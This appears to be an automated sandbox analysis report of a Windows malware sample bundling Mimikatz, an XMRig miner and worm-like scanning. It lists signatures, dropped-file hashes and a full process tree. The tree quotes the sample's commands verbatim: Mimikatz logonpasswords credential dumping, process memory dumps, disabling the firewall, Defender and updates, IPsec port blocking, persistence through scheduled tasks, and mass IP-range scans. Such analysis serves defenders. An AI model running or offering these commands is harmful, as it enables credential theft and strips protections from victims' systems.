Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    02/08/2024, 10:24

General

  • Target
    2024-08-02_82d8396cf784450eaddb73bf43d09c0c_hacktools_icedid_mimikatz.exe
  • Size 8.8MB
  • Sample240802-mfd7msvenn
  • SHA256 a9725d86f5f32f4c69e17cfb64b5293bb3597b789cd05efc35184c6824802682
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (24368) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 11 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 8 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 18 IoCs
  • Loads dropped DLL 24 IoCs
  • UPX packed file 32 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 12 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 14 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 31 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:308
      • C:\Windows\TEMP\jirbymkef\qnmtmn.exe
        "C:\Windows\TEMP\jirbymkef\qnmtmn.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2460
    • C:\Users\Admin\AppData\Local\Temp\2024-08-02_82d8396cf784450eaddb73bf43d09c0c_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-08-02_82d8396cf784450eaddb73bf43d09c0c_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:708
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\aqivbpuf\ttyuieu.exe
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2328
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2832
        • C:\Windows\aqivbpuf\ttyuieu.exe
          C:\Windows\aqivbpuf\ttyuieu.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2748
    • C:\Windows\aqivbpuf\ttyuieu.exe
      C:\Windows\aqivbpuf\ttyuieu.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:588
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2680
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2780
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2692
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2856
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
          3⤵
            PID:2644
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2656
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
            3⤵
            • System Location Discovery: System Language Discovery
            PID:2536
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static del all
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          PID:876
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add policy name=Bastards description=FuckingBastards
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:2628
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add filteraction name=BastardsList action=block
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:2604
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c C:\Windows\ncatlbinb\tkblimsfb\wpcap.exe /S
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2176
          • C:\Windows\ncatlbinb\tkblimsfb\wpcap.exe
            C:\Windows\ncatlbinb\tkblimsfb\wpcap.exe /S
            3⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2608
            • C:\Windows\SysWOW64\net.exe
              net stop "Boundary Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              PID:1112
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "Boundary Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2348
            • C:\Windows\SysWOW64\net.exe
              net stop "TrueSight Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2136
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "TrueSight Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2592
            • C:\Windows\SysWOW64\net.exe
              net stop npf
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2516
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop npf
                5⤵
                • System Location Discovery: System Language Discovery
                PID:340
            • C:\Windows\SysWOW64\net.exe
              net start npf
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2148
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                5⤵
                  PID:2212
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1324
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
                PID:2488
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:2204
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net start npf
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2828
              • C:\Windows\SysWOW64\net.exe
                net start npf
                3⤵
                • System Location Discovery: System Language Discovery
                PID:316
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:276
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c C:\Windows\ncatlbinb\tkblimsfb\nqqitriut.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ncatlbinb\tkblimsfb\Scant.txt
              2⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:1284
              • C:\Windows\ncatlbinb\tkblimsfb\nqqitriut.exe
                C:\Windows\ncatlbinb\tkblimsfb\nqqitriut.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ncatlbinb\tkblimsfb\Scant.txt
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:1808
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c C:\Windows\ncatlbinb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ncatlbinb\Corporate\log.txt
              2⤵
              • Loads dropped DLL
              • Drops file in Windows directory
              PID:3000
              • C:\Windows\ncatlbinb\Corporate\vfshost.exe
                C:\Windows\ncatlbinb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                3⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2728
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "efmibnsnk" /ru system /tr "cmd /c C:\Windows\ime\ttyuieu.exe"
              2⤵
                PID:528
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                    PID:2552
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /sc minute /mo 1 /tn "efmibnsnk" /ru system /tr "cmd /c C:\Windows\ime\ttyuieu.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:1560
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "nqyufevsi" /ru system /tr "cmd /c echo Y|cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F"
                  2⤵
                    PID:1756
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:1428
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /sc minute /mo 1 /tn "nqyufevsi" /ru system /tr "cmd /c echo Y|cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      • Scheduled Task/Job: Scheduled Task
                      PID:2468
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ffpnmbstt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F"
                    2⤵
                      PID:2344
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:2356
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /create /sc minute /mo 1 /tn "ffpnmbstt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1624
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      • Modifies data under HKEY_USERS
                      PID:3040
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      • Modifies data under HKEY_USERS
                      PID:2788
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • Modifies data under HKEY_USERS
                      PID:2780
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static set policy name=Bastards assign=y
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      • Modifies data under HKEY_USERS
                      PID:2676
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • Modifies data under HKEY_USERS
                      PID:840
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • Modifies data under HKEY_USERS
                      PID:876
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:2628
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static set policy name=Bastards assign=y
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:2604
                    • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                      C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 308 C:\Windows\TEMP\ncatlbinb\308.dmp
                      2⤵
                      • Executes dropped EXE
                      • Modifies data under HKEY_USERS
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1636
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      • Modifies data under HKEY_USERS
                      PID:2984
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:2052
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • System Location Discovery: System Language Discovery
                      PID:2508
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh ipsec static set policy name=Bastards assign=y
                      2⤵
                      • Event Triggered Execution: Netsh Helper DLL
                      • Modifies data under HKEY_USERS
                      PID:948
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c net stop SharedAccess
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:1776
                      • C:\Windows\SysWOW64\net.exe
                        net stop SharedAccess
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:2240
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 stop SharedAccess
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:2316
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c netsh firewall set opmode mode=disable
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:2484
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh firewall set opmode mode=disable
                        3⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        • Modifies data under HKEY_USERS
                        PID:1264
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c netsh Advfirewall set allprofiles state off
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:2064
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh Advfirewall set allprofiles state off
                        3⤵
                        • Modifies Windows Firewall
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:2172
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c net stop MpsSvc
                      2⤵
                        PID:560
                        • C:\Windows\SysWOW64\net.exe
                          net stop MpsSvc
                          3⤵
                            PID:2236
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop MpsSvc
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:2616
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop WinDefend
                          2⤵
                            PID:2524
                            • C:\Windows\SysWOW64\net.exe
                              net stop WinDefend
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:1724
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop WinDefend
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:1564
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c net stop wuauserv
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:1804
                            • C:\Windows\SysWOW64\net.exe
                              net stop wuauserv
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:2568
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop wuauserv
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:1716
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config MpsSvc start= disabled
                            2⤵
                              PID:1816
                              • C:\Windows\SysWOW64\sc.exe
                                sc config MpsSvc start= disabled
                                3⤵
                                • Launches sc.exe
                                • System Location Discovery: System Language Discovery
                                PID:2340
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config SharedAccess start= disabled
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:1056
                              • C:\Windows\SysWOW64\sc.exe
                                sc config SharedAccess start= disabled
                                3⤵
                                • Launches sc.exe
                                PID:1388
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config WinDefend start= disabled
                              2⤵
                                PID:1496
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config WinDefend start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:1592
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config wuauserv start= disabled
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:1936
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config wuauserv start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  PID:612
                              • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 1116 C:\Windows\TEMP\ncatlbinb\1116.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:888
                              • C:\Windows\TEMP\xohudmc.exe
                                C:\Windows\TEMP\xohudmc.exe
                                2⤵
                                • Executes dropped EXE
                                • Drops file in System32 directory
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of SetWindowsHookEx
                                PID:1820
                              • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 1172 C:\Windows\TEMP\ncatlbinb\1172.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1748
                              • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 1612 C:\Windows\TEMP\ncatlbinb\1612.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2380
                              • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 800 C:\Windows\TEMP\ncatlbinb\800.dmp
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2936
                              • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 1948 C:\Windows\TEMP\ncatlbinb\1948.dmp
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2052
                              • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 2428 C:\Windows\TEMP\ncatlbinb\2428.dmp
                                2⤵
                                • Executes dropped EXE
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1668
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c C:\Windows\ncatlbinb\tkblimsfb\scan.bat
                                2⤵
                                • Loads dropped DLL
                                • System Location Discovery: System Language Discovery
                                PID:2000
                                • C:\Windows\ncatlbinb\tkblimsfb\qbntfpebj.exe
                                  qbntfpebj.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
                                  3⤵
                                  • Executes dropped EXE
                                  • Drops file in Windows directory
                                  PID:2568
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                2⤵
                                  PID:3732
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:844
                                  • C:\Windows\SysWOW64\cacls.exe
                                    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                    3⤵
                                      PID:1760
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2576
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2992
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2272
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:3036
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
                                  1⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2268
                                • C:\Windows\system32\taskeng.exe
                                  taskeng.exe {0B6F3238-35DD-4E91-AFA3-1873A832658D} S-1-5-18:NT AUTHORITY\System:Service:
                                  1⤵
                                    PID:1620
                                    • C:\Windows\system32\cmd.EXE
                                      C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F
                                      2⤵
                                        PID:2688
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                          3⤵
                                            PID:2744
                                          • C:\Windows\system32\cacls.exe
                                            cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F
                                            3⤵
                                              PID:2144
                                          • C:\Windows\system32\cmd.EXE
                                            C:\Windows\system32\cmd.EXE /c C:\Windows\ime\ttyuieu.exe
                                            2⤵
                                              PID:2644
                                              • C:\Windows\ime\ttyuieu.exe
                                                C:\Windows\ime\ttyuieu.exe
                                                3⤵
                                                • Executes dropped EXE
                                                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                • Suspicious use of SetWindowsHookEx
                                                PID:1632
                                            • C:\Windows\system32\cmd.EXE
                                              C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F
                                              2⤵
                                                PID:2860
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                  3⤵
                                                    PID:880
                                                  • C:\Windows\system32\cacls.exe
                                                    cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F
                                                    3⤵
                                                      PID:596
                                                  • C:\Windows\system32\cmd.EXE
                                                    C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F
                                                    2⤵
                                                      PID:4052
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                        3⤵
                                                          PID:2824
                                                        • C:\Windows\system32\cacls.exe
                                                          cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F
                                                          3⤵
                                                            PID:2672
                                                        • C:\Windows\system32\cmd.EXE
                                                          C:\Windows\system32\cmd.EXE /c C:\Windows\ime\ttyuieu.exe
                                                          2⤵
                                                            PID:2260
                                                            • C:\Windows\ime\ttyuieu.exe
                                                              C:\Windows\ime\ttyuieu.exe
                                                              3⤵
                                                              • Executes dropped EXE
                                                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:2804
                                                          • C:\Windows\system32\cmd.EXE
                                                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F
                                                            2⤵
                                                              PID:1560
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                                3⤵
                                                                  PID:2348
                                                                • C:\Windows\system32\cacls.exe
                                                                  cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F
                                                                  3⤵
                                                                    PID:3028
                                                              • C:\Windows\SysWOW64\wwgkke.exe
                                                                C:\Windows\SysWOW64\wwgkke.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • System Location Discovery: System Language Discovery
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:2320

                                                              Network

                                                                    MITRE ATT&CK Enterprise v15

                                                                    Replay Monitor

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                                                                    Downloads

                                                                    Packet.dll

                                                                    • Path C:\Windows\SysWOW64\Packet.dll
                                                                    • Size 95KB
                                                                    • SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    wpcap.dll

                                                                    • Path C:\Windows\SysWOW64\wpcap.dll
                                                                    • Size 275KB
                                                                    • SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    config.json

                                                                    • Path C:\Windows\TEMP\jirbymkef\config.json
                                                                    • Size 693B
                                                                    • SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
                                                                    • MD5 SHA1 SHA512

                                                                    1116.dmp

                                                                    • Path C:\Windows\TEMP\ncatlbinb\1116.dmp
                                                                    • Size 1.3MB
                                                                    • SHA256 b46908b96d01d4e45724801851378a626639f69db6155942538931bc503f41d5
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    1172.dmp

                                                                    • Path C:\Windows\TEMP\ncatlbinb\1172.dmp
                                                                    • Size 1.2MB
                                                                    • SHA256 23c9540bb87ec666adda0e8d6ca76b0e2e5bd4230b76a445e792f9bb9efd1434
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    1612.dmp

                                                                    • Path C:\Windows\TEMP\ncatlbinb\1612.dmp
                                                                    • Size 5.3MB
                                                                    • SHA256 bf5264aff8af856245dd011e70ac55ad99e096549b581d867c6b322e1b6920f1
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    1948.dmp

